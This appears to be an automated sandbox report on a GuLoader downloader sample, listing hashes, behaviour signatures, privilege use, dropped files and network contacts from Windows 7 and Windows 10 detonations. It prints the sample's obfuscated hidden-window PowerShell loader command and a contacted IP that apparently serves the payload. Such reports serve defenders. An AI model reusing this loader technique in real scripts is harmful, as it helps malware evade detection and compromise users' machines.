Malware Analysis Report

2025-04-03 14:22

Sample ID 241211-xs49psvlhw
Target 777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2
SHA256 777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2
Tags
guloader discovery downloader execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2

Threat Level: Known bad

The file 777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2 was found to be: Known bad.

Malicious Activity Summary

guloader discovery downloader execution

Guloader family

Guloader,Cloudeye

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Suspicious use of NtSetInformationThreadHideFromDebugger

Unsigned PE

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-12-11 19:07

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-11 19:07

Reported

2024-12-12 08:26

Platform

win10v2004-20241007-en

Max time kernel

146s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe"

Signatures

Guloader family

guloader

Guloader,Cloudeye

downloader guloader

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Juryen.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Juryen.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Juryen.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe

"C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Prmierer=gc -raw 'C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob';$eftersgningers=$Prmierer.SubString(48853,3);.$eftersgningers($Prmierer)

C:\Users\Admin\AppData\Local\Temp\Juryen.exe

"C:\Users\Admin\AppData\Local\Temp\Juryen.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 212.162.149.89:80 tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 212.162.149.89:80 tcp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp
US 212.162.149.89:80 tcp

Files

memory/3616-6-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

memory/3616-7-0x0000000003110000-0x0000000003146000-memory.dmp

memory/3616-8-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-9-0x0000000005870000-0x0000000005E98000-memory.dmp

memory/3616-10-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-11-0x0000000005700000-0x0000000005722000-memory.dmp

memory/3616-13-0x0000000006010000-0x0000000006076000-memory.dmp

memory/3616-12-0x0000000005FA0000-0x0000000006006000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r2luqo23.cqx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3616-23-0x0000000006080000-0x00000000063D4000-memory.dmp

memory/3616-24-0x00000000066B0000-0x00000000066CE000-memory.dmp

memory/3616-25-0x00000000066D0000-0x000000000671C000-memory.dmp

memory/3616-26-0x0000000006B70000-0x0000000006C06000-memory.dmp

memory/3616-27-0x0000000006B20000-0x0000000006B3A000-memory.dmp

memory/3616-28-0x0000000006C10000-0x0000000006C32000-memory.dmp

memory/3616-29-0x0000000007C90000-0x0000000008234000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob

MD5 dfb785ab6c7a90cd2a2f0fede39565d3
SHA1 d48dcc0968eb6a323231b67abf5c19bb7879384a
SHA256 8d76feca48e11bdd7f2667042c44ac26c5beeaa37471775945e373fac37d0475
SHA512 d998dac5b7d83201dc4742673ecd46f8a2125c4a3360be620d154a0d0a2278f8c8d0b3554d3119c38c446d8e2eb5a09158f06329e46bb7fd90d992a3df9a2806

memory/3616-31-0x00000000088C0000-0x0000000008F3A000-memory.dmp

memory/3616-33-0x000000006FF80000-0x000000006FFCC000-memory.dmp

memory/3616-44-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-43-0x0000000007AF0000-0x0000000007B0E000-memory.dmp

memory/3616-32-0x0000000007AB0000-0x0000000007AE2000-memory.dmp

memory/3616-45-0x0000000007B20000-0x0000000007BC3000-memory.dmp

memory/3616-46-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-47-0x0000000007C20000-0x0000000007C2A000-memory.dmp

memory/3616-48-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-49-0x0000000007C40000-0x0000000007C51000-memory.dmp

memory/3616-50-0x0000000008380000-0x000000000838E000-memory.dmp

memory/3616-51-0x0000000008390000-0x00000000083A4000-memory.dmp

memory/3616-52-0x00000000083D0000-0x00000000083EA000-memory.dmp

memory/3616-53-0x00000000083C0000-0x00000000083C8000-memory.dmp

memory/3616-54-0x0000000008420000-0x000000000844A000-memory.dmp

memory/3616-55-0x0000000008450000-0x0000000008474000-memory.dmp

memory/3616-56-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-58-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

memory/3616-59-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-60-0x0000000073AF0000-0x00000000742A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Puddingy.Usu

MD5 06a40c4700069bccb064bab052afef0e
SHA1 7a3df76b80e59ee1ba6f7e7b7a58fc3be5ff078c
SHA256 27c6cf4cd16539addf77dab5ccf4274ba6b31783d873fb2d12b5cd62eecb7803
SHA512 df57eab67a428fcd9d17421ad5bd721522d30e241923c00239df695784d43194c930341b996f28bdc6c5165edb2e383a75a4224845311e32b8a9085e063fdce6

memory/3616-62-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-63-0x0000000008F40000-0x000000000A498000-memory.dmp

memory/3616-64-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-65-0x0000000073AF0000-0x00000000742A0000-memory.dmp

memory/3616-66-0x0000000073AF0000-0x00000000742A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Juryen.exe

MD5 82ba32e4800897e8bafb32990d29f60a
SHA1 21b724df29b7ddbcd88849e7ad6ab12a4d266c4c
SHA256 777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2
SHA512 7e741fab4e31223a967c4194f31e4fd592b75dc14dde4c72c3fbd5efb28f312807f886290fa8a227037890375d3ada7597857138f4df4d905b0ae4ca7b906101

memory/1108-69-0x00000000016D0000-0x0000000002C28000-memory.dmp

memory/1108-70-0x0000000000470000-0x00000000016C4000-memory.dmp

memory/1108-71-0x00000000016D0000-0x0000000002C28000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-11 19:07

Reported

2024-12-12 08:26

Platform

win7-20241010-en

Max time kernel

122s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe

"C:\Users\Admin\AppData\Local\Temp\777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Prmierer=gc -raw 'C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob';$eftersgningers=$Prmierer.SubString(48853,3);.$eftersgningers($Prmierer)

Network

N/A

Files

memory/2696-8-0x00000000736E1000-0x00000000736E2000-memory.dmp

memory/2696-9-0x00000000736E0000-0x0000000073C8B000-memory.dmp

memory/2696-10-0x00000000736E0000-0x0000000073C8B000-memory.dmp

memory/2696-11-0x00000000736E0000-0x0000000073C8B000-memory.dmp

memory/2696-12-0x00000000736E0000-0x0000000073C8B000-memory.dmp

memory/2696-13-0x00000000736E0000-0x0000000073C8B000-memory.dmp